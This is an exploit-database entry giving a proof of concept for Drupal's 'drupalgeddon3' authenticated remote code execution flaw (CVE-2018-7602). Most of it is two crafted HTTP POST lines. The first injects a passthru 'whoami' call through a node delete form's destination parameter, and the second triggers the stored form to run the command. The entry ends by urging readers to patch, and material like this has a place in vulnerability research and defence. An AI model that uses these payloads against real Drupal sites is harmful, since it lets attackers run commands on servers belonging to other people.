Drupal < 7.58 - drupalgeddon3 Authenticated Remote Code Execution (PoC) Exploit

ID 1337DAY-ID-30262
Type zdt
Reporter Blaklis
Modified 2018-04-26T00:00:00


Exploit for php platform in category web applications

                                            This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.
You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).
POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
Retrieve the form_build_id from the response, and then triggering the exploit with : 
POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
This will display the result of the whoami command.
Patch your systems!

#  0day.today [2018-04-26]  #